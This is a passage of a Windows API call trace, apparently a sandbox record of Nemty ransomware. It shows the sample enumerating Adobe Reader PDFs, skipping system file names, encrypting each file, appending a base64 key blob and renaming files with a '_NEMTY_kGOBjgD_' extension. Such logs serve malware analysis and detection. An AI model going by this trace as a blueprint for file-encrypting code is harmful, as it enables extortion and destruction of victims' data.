Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.556] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.556] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=40309) returned 1 [0188.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9d70) returned 0x6352c48 [0188.556] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.556] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9d70, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x9d70, lpOverlapped=0x0) returned 1 [0188.560] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.560] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9d70, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x9d70, lpOverlapped=0x0) returned 1 [0188.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.561] SetFilePointer (in: hFile=0x320, lDistanceToMove=40309, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9d75 [0188.561] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.561] CloseHandle (hObject=0x320) returned 1 [0188.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0188.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0188.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.561] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0188.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0188.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.562] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44925, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0188.562] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0188.562] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0188.562] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0188.562] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0188.562] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.562] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0188.562] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0188.562] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0188.562] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0188.562] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0188.562] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0188.562] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0188.562] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.562] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0188.562] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0188.562] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0188.562] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0188.562] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.562] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0188.562] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0188.562] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0188.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0188.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0188.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340430 [0188.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340508 [0188.563] Sleep (dwMilliseconds=0x5) [0188.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x240b31b0, dwHighDateTime=0x1d561e8)) [0188.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x240b31b0, dwHighDateTime=0x1d561e8)) [0188.571] GetLastError () returned 0x0 [0188.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.571] GetLastError () returned 0x0 [0188.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0188.571] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.571] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.571] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0188.571] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="T5KqGXHWZccvRgOunfe6QqH1HO9LA61oR7QpPc4kxggdt1inxrA+lQeyD7X1f0IO\r\nSyJ03vHDSXRc1suWhO5gHSCjXkg5ra+uBai2HCf/mqSi4tTB5llLH7WA3SeAI5Ck\r\nCQ1jvpPmapFEK9BEKIRnyTm8MAiW4ks7CNC0JyrF9I5SwzURjVSkjlWxjxvc3Tyk\r\nTSEUqS2JywechQDpZ2lcotWpjzmsSJtMe+CN0a3BGlx0nmFxpqKhmI4YF9Gd5q8I\r\nfTKrlqQ0xMxag4Mx/Hmruh0rJ/RuAEirnMWLMPAT32rUmAxEJ5sqY8eETNym/gsD\r\npTfAHxTGUKZIRNFk9Oz0iw==\r\n", pcchString=0x653df5c) returned 1 [0188.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0188.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0188.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.571] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.572] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=280869) returned 1 [0188.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0188.572] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.572] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0188.581] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.581] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0188.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.582] SetFilePointer (in: hFile=0x320, lDistanceToMove=280869, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x44925 [0188.582] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.584] CloseHandle (hObject=0x320) returned 1 [0188.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344158 [0188.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0188.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0188.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0188.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0188.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344308 [0188.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0188.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0188.585] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0188.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0188.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0188.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340508 | out: hHeap=0x4f90000) returned 1 [0188.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.585] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24040d90, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24040d90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24040d90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0188.585] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0188.586] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0188.586] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0188.586] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0188.586] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0188.586] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0188.586] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0188.586] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0188.586] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0188.586] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0188.586] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0188.586] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0188.586] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0188.586] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0188.586] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0188.586] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0188.586] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0188.586] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0188.586] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0188.586] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0188.586] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0188.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0188.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0188.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.587] RtlAllocateHeap 